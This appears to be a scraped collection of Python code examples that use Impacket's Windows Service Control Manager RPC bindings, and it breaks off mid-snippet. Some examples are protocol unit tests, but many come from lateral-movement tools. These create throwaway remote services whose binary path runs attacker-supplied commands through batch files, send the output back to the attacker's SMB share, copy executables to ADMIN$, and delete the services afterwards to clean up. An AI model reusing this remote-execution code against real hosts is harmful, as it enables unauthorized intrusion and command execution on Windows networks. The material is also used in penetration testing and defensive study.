Example #1
0
    def test_RControlServiceCall(self):
        dce, rpctransport, scHandle  = self.connect()
        lpServiceName = 'CryptSvc\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
        resp.dump()

        serviceHandle = resp['lpServiceHandle']
 
        try:
            req = scmr.RControlService()
            req['hService'] = serviceHandle
            req['dwControl'] = scmr.SERVICE_CONTROL_STOP
            dce.request(req)
        except Exception as e:
            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(e).find('ERROR_SERVICE_NOT_ACTIVE') < 0:
                raise
            pass

        scmr.hRCloseServiceHandle(dce, serviceHandle)
        import time
        time.sleep(1)
        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
        resp.dump()

        serviceHandle = resp['lpServiceHandle']

        try:
            resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL )
            resp.dump()
        except Exception as e:
            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0:
                raise
        return 
Example #2
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        self.__batchFile = gen_random_string(6) + '.bat'
        local_ip = self.__rpctransport.get_socket().getsockname()[0]

        if self.__retOutput:
            command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
        else:
            command = self.__shell + data

        with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
            batch_file.write(command)

        logging.debug('Hosting batch file with command: ' + command)

        command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
        logging.debug('Command to execute: ' + command)

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output_fileless()
Example #3
0
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try: 
            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']
Example #4
0
    def execute_remote(self, data):
        command = (
            self.__shell
            + "echo "
            + data
            + " ^> "
            + self.__output
            + " 2^>^&1 > "
            + self.__batchFile
            + " & "
            + self.__shell
            + self.__batchFile
        )
        if self.__mode == "SERVER":
            command += " & " + self.__copyBack
        command += " & " + "del " + self.__batchFile

        logging.debug("Executing %s" % command)
        resp = scmr.hRCreateServiceW(
            self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command
        )
        service = resp["lpServiceHandle"]

        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #5
0
    def test_query(self):
        dce, rpctransport, scHandle  = self.connect()

        ############################
        # Query Service Status / Enum Dependent
        lpServiceName = 'PlugPlay\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
        resp.dump()

        serviceHandle = resp['lpServiceHandle']
 
        scmr.hRQueryServiceStatus(dce, serviceHandle)

        cbBufSize = 0
        try:
            resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )
            resp.dump()
        except scmr.DCERPCSessionError as e:
           if str(e).find('ERROR_MORE_DATA') <= 0:
               raise
           else:
               resp = e.get_packet()

        resp.dump()
        cbBufSize = resp['pcbBytesNeeded']
        resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )
        resp.dump()
        scmr.hRCloseServiceHandle(dce, serviceHandle)
        scmr.hRCloseServiceHandle(dce, scHandle)
Example #6
0
    def test_RQueryServiceLockStatusW(self):
        dce, rpctransport, scHandle  = self.connect()

        pcbBytesNeeded = 1000
        scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded)

        scmr.hRCloseServiceHandle(dce, scHandle)
Example #7
0
    def test_lock_unlock(self):
        dce, rpctransport, scHandle  = self.connect()
        
        resp = scmr.hRLockServiceDatabase(dce, scHandle)
        lockHandle = resp['lpLock']
        scmr.hRUnlockServiceDatabase(dce, lockHandle)

        scmr.hRCloseServiceHandle(dce, scHandle)
Example #8
0
 def install(self):
     if self.connection.isGuestSession():
         LOG.critical("Authenticated as Guest. Aborting")
         self.connection.logoff()
         del self.connection
     else:
         fileCopied = False
         serviceCreated = False
         # Do the stuff here
         try:
             # Let's get the shares
             shares = self.getShares()
             self.share = self.findWritableShare(shares)
             if self.share is None:
                 return False
             self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)
             fileCopied = True
             svcManager = self.openSvcManager()
             if svcManager != 0:
                 serverName = self.connection.getServerName()
                 if self.share.lower() == 'admin$':
                     path = '%systemroot%'
                 else:
                     if serverName != '':
                        path = '\\\\%s\\%s' % (serverName, self.share)
                     else:
                        path = '\\\\127.0.0.1\\' + self.share 
                 service = self.createService(svcManager, self.share, path)
                 serviceCreated = True
                 if service != 0:
                     # Start service
                     LOG.info('Starting service %s.....' % self.__service_name)
                     try:
                         scmr.hRStartServiceW(self.rpcsvc, service)
                     except:
                         pass
                     scmr.hRCloseServiceHandle(self.rpcsvc, service)
                 scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
                 return True
         except Exception as e:
             LOG.critical("Error performing the installation, cleaning up: %s" %e)
             LOG.debug("Exception", exc_info=True)
             try:
                 scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
             except:
                 pass
             if fileCopied is True:
                 try:
                     self.connection.deleteFile(self.share, self.__binary_service_name)
                 except:
                     pass
             if serviceCreated is True:
                 try:
                     scmr.hRDeleteService(self.rpcsvc, service)
                 except:
                     pass
         return False
Example #9
0
    def test_RGetServiceKeyNameW(self):
        dce, rpctransport, scHandle  = self.connect()

        lpDisplayName = 'Plug and Play\x00'
        lpcchBuffer = len(lpDisplayName)+100

        scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer)

        scmr.hRCloseServiceHandle(dce, scHandle)
Example #10
0
    def test_enumservices(self):
        dce, rpctransport, scHandle  = self.connect()

        #####################
        # EnumServicesStatusW
        dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS
        dwServiceState = scmr.SERVICE_STATE_ALL
        scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState)

        scmr.hRCloseServiceHandle(dce, scHandle)
Example #11
0
    def test_query_set_object_security(self):
        dce, rpctransport, scHandle  = self.connect()
        
        try:
            resp = scmr.hRQueryServiceObjectSecurity(dce, scHandle, scmr.DACL_SECURITY_INFORMATION, 0)
            resp.dump()
        except Exception as e:
           if str(e).find('rpc_s_access_denied') <= 0:
               raise
 
        scmr.hRCloseServiceHandle(dce, scHandle)
Example #12
0
    def atest_notify_config(self):
        dce, rpctransport, scHandle  = self.connect()
        lpMachineName = 'DUMMY\x00'
        
        try:
            resp = scmr.hRNotifyBootConfigStatus(dce, lpMachineName, 0x0)
            resp.dump()
        except scmr.DCERPCSessionError as e:
           if str(e).find('ERROR_BOOT_ALREADY_ACCEPTED') <= 0:
               raise
 
        scmr.hRCloseServiceHandle(dce, scHandle)
 def getServiceAccount(self, serviceName):
     try:
         # Open the service
         ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
         serviceHandle = ans['lpServiceHandle']
         resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
         account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
         scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
         if account.startswith('.\\'):
             account = account[2:]
         return account
     except Exception, e:
         logging.error(e)
         return None
Example #14
0
    def __executeRemote(self, data):
        self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        command += ' & ' + 'del ' + self.__batchFile

        self.__serviceDeleted = False
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']
        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        self.__serviceDeleted = True
        scmr.hRCloseServiceHandle(self.__scmr, service)
Example #15
0
 def finish(self):
     # Just in case the service is still created
     try:
        self.__scmr = self.__rpc.get_dce_rpc()
        self.__scmr.connect() 
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
        service = resp['lpServiceHandle']
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
        scmr.hRCloseServiceHandle(self.__scmr, service)
     except:
        pass
    def __executeRemote(self, data):
        self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        command += ' & ' + 'del ' + self.__batchFile

        self.__serviceDeleted = False
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']
        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        self.__serviceDeleted = True
        scmr.hRCloseServiceHandle(self.__scmr, service)
Example #17
0
 def finish(self):
     # Just in case the service is still created
     try:
        self.__scmr = self.__rpctransport.get_dce_rpc()
        self.__scmr.connect()
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
        service = resp['lpServiceHandle']
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
        scmr.hRCloseServiceHandle(self.__scmr, service)
     except:
         pass
Example #18
0
 def getServiceAccount(self, serviceName):
     try:
         # Open the service
         ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle,
                                   serviceName)
         serviceHandle = ans['lpServiceHandle']
         resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
         account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
         scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
         if account.startswith('.\\'):
             account = account[2:]
         return account
     except Exception, e:
         logging.error(e)
         return None
Example #19
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        self.__batchFile = gen_random_string(6) + '.bat'
        local_ip = self.__rpctransport.get_socket().getsockname()[0]

        if self.__retOutput:
            #adding creds gets past systems disallowing guest-auth
            command = self.__shell + '"net use /p:no \\\\{}\\{} /user:{} {}" \n'.format(
                local_ip, self.__share_name, self.__username, self.__password)
            command += self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(
                local_ip, self.__share_name, self.__output)
        else:
            command = self.__shell + data

        with open((cfg.TMP_PATH / self.__batchFile), 'w') as batch_file:
            batch_file.write(command)

        logging.debug('Hosting batch file({}) containing:\n{}'.format(
            str(cfg.TMP_PATH / self.__batchFile), command))

        command = self.__shell + '\\\\{}\\{}\\{}'.format(
            local_ip, self.__share_name, self.__batchFile)
        #adding creds gets past systems disallowing guest-auth
        command = self.__shell + '"net use \\\\{}\\{} /p:no /user:{} {} & {} "'.format(
            local_ip, self.__share_name, self.__username, self.__password,
            command)

        logging.debug('Command to execute: ' + command)

        logging.debug('Remote service {} created.'.format(self.__serviceName))
        resp = scmr.hRCreateServiceW(self.__scmr,
                                     self.__scHandle,
                                     self.__serviceName,
                                     self.__serviceName,
                                     lpBinaryPathName=command,
                                     dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
            logging.debug('Remote service {} started.'.format(
                self.__serviceName))
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        logging.debug('Remote service {} deleted.'.format(self.__serviceName))
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output_fileless()
Example #20
0
    def test_RStartServiceW(self):
        dce, rpctransport, scHandle  = self.connect()

        lpServiceName = 'PlugPlay\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
        resp.dump()
        serviceHandle = resp['lpServiceHandle']
  
        try:
            scmr.hRStartServiceW(dce, serviceHandle, 3, ['arg1\x00', 'arg2\x00', 'arg3\x00'] )
        except Exception as e:
           if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') <= 0:
               raise
        scmr.hRCloseServiceHandle(dce, scHandle)
Example #21
0
    def execute_remote(self, data):
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        if self.__mode == 'SERVER':
            command += ' & ' + self.__copyBack
        command += ' & ' + 'del ' + self.__batchFile 

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #22
0
    def test_RQueryServiceLockStatusW(self):
        dce, rpctransport, scHandle = self.connect()

        pcbBytesNeeded = 1000
        resp = scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded)

        resp = scmr.hRCloseServiceHandle(dce, scHandle)
Example #23
0
    def test_RStartServiceW(self):
        dce, rpctransport, scHandle  = self.connect()

        lpServiceName = 'PlugPlay\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
        resp.dump()
        serviceHandle = resp['lpServiceHandle']
  
        try:
            scmr.hRStartServiceW(dce, serviceHandle, 3, ['arg1\x00', 'arg2\x00', 'arg3\x00'] )
        except Exception as e:
           if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') <= 0:
               raise
        scmr.hRCloseServiceHandle(dce, scHandle)
Example #24
0
    def start_rrp_service(self, dce, sc_handle):
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

        resp = scmr.hROpenServiceW(dce, sc_handle, 'RemoteRegistry\x00',
                                   desiredAccess)
        serviceHandle = resp['lpServiceHandle']
        try:
            scmr.hRStartServiceW(dce, serviceHandle)
        except Exception as e:
            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0:
                pass
            else:
                raise
        scmr.hRCloseServiceHandle(dce, sc_handle)
        self.rrp_started = True
Example #25
0
    def execute_remote(self, data):
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        if self.__mode == 'SERVER':
            command += ' & ' + self.__copyBack
        command += ' & ' + 'del ' + self.__batchFile 

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #26
0
    def create_service(self, name, display_name, cmdline, *, start=True):
        if self._svcmgr is None:
            raise RuntimeError("ServiceManager must be open() first")

        svc_handle = None

        try:
            # try to open existing service first
            try:
                resp = impkt_scmr.hROpenServiceW(self._rpcsvcctl, self._svcmgr,
                                                 name + "\x00")
                svc_handle = resp["lpServiceHandle"]
            except Exception as exc:
                svc_handle = None

                if str(exc).find("ERROR_SERVICE_DOES_NOT_EXIST") >= 0:
                    pass
                else:
                    raise

            # create service if needed
            if svc_handle is None:
                resp = impkt_scmr.hRCreateServiceW(
                    self._rpcsvcctl,
                    self._svcmgr,
                    name + "\x00",
                    display_name + "\x00",
                    lpBinaryPathName=cmdline + "\x00",
                    dwStartType=impkt_scmr.SERVICE_DEMAND_START)

                svc_handle = resp["lpServiceHandle"]

            assert svc_handle is not None

            # start service
            try:
                impkt_scmr.hRStartServiceW(self._rpcsvcctl, svc_handle)
            except Exception as exc:
                if str(exc).find("ERROR_SERVICE_ALREADY_RUNNING") < 0:
                    raise
        finally:
            if svc_handle is not None:
                with contextlib.suppress(Exception):
                    impkt_scmr.hRCloseServiceHandle(self._rpcsvcctl,
                                                    svc_handle)
                svc_handle = None
Example #27
0
    def test_lock_unlock(self):
        dce, rpctransport, scHandle = self.connect()

        resp = scmr.hRLockServiceDatabase(dce, scHandle)
        lockHandle = resp['lpLock']
        resp = scmr.hRUnlockServiceDatabase(dce, lockHandle)

        resp = scmr.hRCloseServiceHandle(dce, scHandle)
Example #28
0
 def uninstall(self):
     fileCopied = True
     serviceCreated = True
     # Do the stuff here
     try:
         # Let's get the shares
         svcManager = self.openSvcManager()
         if svcManager != 0:
             resp = scmr.hROpenServiceW(self.rpcsvc, svcManager,
                                        self.__service_name + '\x00')
             service = resp['lpServiceHandle']
             print '[*] Stoping service %s.....' % self.__service_name
             try:
                 scmr.hRControlService(self.rpcsvc, service,
                                       scmr.SERVICE_CONTROL_STOP)
             except:
                 pass
             print '[*] Removing service %s.....' % self.__service_name
             scmr.hRDeleteService(self.rpcsvc, service)
             scmr.hRCloseServiceHandle(self.rpcsvc, service)
             scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
         print '[*] Removing file %s.....' % self.__binary_service_name
         self.connection.deleteFile(self.share, self.__binary_service_name)
     except Exception, e:
         print "[!] Error performing the uninstallation, cleaning up"
         try:
             scmr.hRControlService(self.rpcsvc, service,
                                   scmr.SERVICE_CONTROL_STOP)
         except:
             pass
         if fileCopied is True:
             try:
                 self.connection.deleteFile(self.share,
                                            self.__binary_service_name)
             except:
                 try:
                     self.connection.deleteFile(self.share,
                                                self.__binary_service_name)
                 except:
                     pass
                 pass
         if serviceCreated is True:
             try:
                 scmr.hRDeleteService(self.rpcsvc, service)
             except:
                 pass
    def test_RGetServiceKeyNameW(self):
        dce, rpctransport, scHandle  = self.connect()

        lpDisplayName = 'Plug and Play\x00'
        lpcchBuffer = len(lpDisplayName)+100

        resp = scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer)

        resp = scmr.hRCloseServiceHandle(dce, scHandle)
Example #30
0
    def destroy(self):
        if not self._serviceHandle:
            raise ShellServiceIsNotExists()

        try:
            scmr.hRControlService(self._scmr, self._serviceHandle, scmr.SERVICE_CONTROL_STOP)
        except Exception, e:

            try:
                scmr.hRDeleteService(self._scmr, self._serviceHandle)
            finally:
                scmr.hRCloseServiceHandle(self._scmr, self._serviceHandle)
                self._serviceHandle = None

            if hasattr(e, 'error_code') and e.error_code == ERROR_SERVICE_NOT_ACTIVE:
                pass
            else:
                raise
Example #31
0
    def te_REnumServiceGroupW(self):
        dce, rpctransport, scHandle  = self.connect()


        dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
        dwServiceState = scmr.SERVICE_STATE_ALL
        cbBufSize = 10
        lpResumeIndex = 0
        pszGroupName = 'RemoteRegistry\x00'

        try:
            resp = scmr.hREnumServiceGroupW(dce, scHandle, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex, pszGroupName )
            resp.dump()
        except Exception as e:
           if str(e).find('ERROR_SERVICE_DOES_NOT_EXISTS') <= 0:
               raise

        scmr.hRCloseServiceHandle(dce, scHandle)
Example #32
0
    def te_REnumServiceGroupW(self):
        dce, rpctransport, scHandle  = self.connect()


        dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
        dwServiceState = scmr.SERVICE_STATE_ALL
        cbBufSize = 10
        lpResumeIndex = 0
        pszGroupName = 'RemoteRegistry\x00'

        try:
            resp = scmr.hREnumServiceGroupW(dce, scHandle, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex, pszGroupName )
            resp.dump()
        except Exception as e:
           if str(e).find('ERROR_SERVICE_DOES_NOT_EXISTS') <= 0:
               raise

        scmr.hRCloseServiceHandle(dce, scHandle)
Example #33
0
 def check_admin(self):
     try:
         self.__trans = transport.SMBTransport(remoteName=self.__dstip,
                                               dstport=self.__dstport,
                                               filename='svcctl',
                                               smb_connection=self.smb,
                                               remote_host=self.__dstip)
         self.__trans.connect()
         self.__dce = self.__trans.get_dce_rpc()
         self.__dce.bind(scmr.MSRPC_UUID_SCMR)
         self.__resp = scmr.hROpenSCManagerW(
             self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
         self.__mgr_handle = self.__resp['lpScHandle']
         scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
         self.__dce.disconnect()
         return True
     except rpcrt.DCERPCException, e:
         pass
Example #34
0
    def execute_remote(self, data):
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
                  self.__shell + self.__batchFile
        if self.__mode == 'SERVER':
            command += ' & ' + self.__copyBack
        command += ' & ' + 'del ' + self.__batchFile 

        logging.debug('Executing %s' % command)
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
                                     lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #35
0
    def execute_remote(self, data):
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
                  self.__shell + self.__batchFile
        if self.__mode == 'SERVER':
            command += ' & ' + self.__copyBack
        command += ' & ' + 'del ' + self.__batchFile 

        logging.debug('Executing %s' % command)
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
                                     lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #36
0
    def execute_remote(self, data):
        self.__output = '\\Windows\\Temp\\' + gen_random_string()
        self.__batchFile = gen_random_string(6) + '.bat'

        if self.__retOutput:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        else:
            command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile

        command += ' & ' + 'del ' + self.__batchFile
        """
        if self.__retOutput:
            # TODO
            command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
        else:
            command = self.__shell + data
        """

        #logging.debug('Hosting batch file with command: ' + command)

        # TODO
        #command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
        #logging.debug('Command to execute: ' + command)

        #logging.debug('Remote service {} created.'.format(self.__serviceName))
        resp = scmr.hRCreateServiceW(self.__scmr,
                                     self.__scHandle,
                                     self.__serviceName,
                                     self.__serviceName,
                                     lpBinaryPathName=command,
                                     dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
            #logging.debug('Remote service {} started.'.format(self.__serviceName))
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        #logging.debug('Remote service {} deleted.'.format(self.__serviceName))
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #37
0
def start_service(target):
    username, password, domain, nthash = target.creds
    lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
    aesKey = None
    remoteName = target.target_ip
    remoteHost = target.target_ip

    stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
    rpctransport = transport.DCERPCTransportFactory(stringbinding)
    rpctransport.set_dport(target.target_port)
    rpctransport.setRemoteHost(remoteHost)
    if hasattr(rpctransport, 'set_credentials'):
        rpctransport.set_credentials(username, password, domain, lmhash,
                                     nthash, aesKey)

    rpctransport.set_kerberos(False, None)

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(scmr.MSRPC_UUID_SCMR)
    rpc = dce

    #print("[*] creating")
    ans = scmr.hROpenSCManagerW(rpc)
    scManagerHandle = ans['lpScHandle']
    try:
        scmr.hRCreateServiceW(rpc,
                              scManagerHandle,
                              "lateral" + '\x00',
                              "Lateral" + '\x00',
                              lpBinaryPathName='lateral.exe\x00')
    except Exception as e:
        print(str(e))

    #print("[*] starting")
    ans = scmr.hROpenServiceW(rpc, scManagerHandle, "lateral" + '\x00')
    serviceHandle = ans['lpServiceHandle']
    try:
        scmr.hRStartServiceW(rpc, serviceHandle)
    except:
        pass
    scmr.hRCloseServiceHandle(rpc, serviceHandle)
    def test_enumservices(self):
        dce, rpctransport, scHandle  = self.connect()

        #####################
        # EnumServicesStatusW
        dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS
        dwServiceState = scmr.SERVICE_STATE_ALL
        cbBufSize = 0
        resp = scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState)

        resp = scmr.hRCloseServiceHandle(dce, scHandle)
Example #39
0
 def uninstall(self):
     fileCopied = True
     serviceCreated = True
     # Do the stuff here
     try:
         # Let's get the shares
         svcManager = self.openSvcManager()
         if svcManager != 0:
             resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00')
             service = resp['lpServiceHandle'] 
             LOG.info('Stoping service %s.....' % self.__service_name)
             try:
                 scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
             except:
                 pass
             LOG.info('Removing service %s.....' % self.__service_name)
             scmr.hRDeleteService(self.rpcsvc, service)
             scmr.hRCloseServiceHandle(self.rpcsvc, service)
             scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
         LOG.info('Removing file %s.....' % self.__binary_service_name)
         self.connection.deleteFile(self.share, self.__binary_service_name)
     except Exception:
         LOG.critical("Error performing the uninstallation, cleaning up" )
         try:
             scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
         except:
             pass
         if fileCopied is True:
             try:
                 self.connection.deleteFile(self.share, self.__binary_service_name)
             except:
                 try:
                     self.connection.deleteFile(self.share, self.__binary_service_name)
                 except:
                     pass
                 pass
         if serviceCreated is True:
             try:
                 scmr.hRDeleteService(self.rpcsvc, service)
             except:
                 pass
Example #40
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        self.__batchFile = gen_random_string(6) + '.bat'
        local_ip = self.__rpctransport.get_socket().getsockname()[0]

        if self.__retOutput:
            command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(
                local_ip, self.__share_name, self.__output)
        else:
            command = self.__shell + data

        with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile),
                  'w') as batch_file:
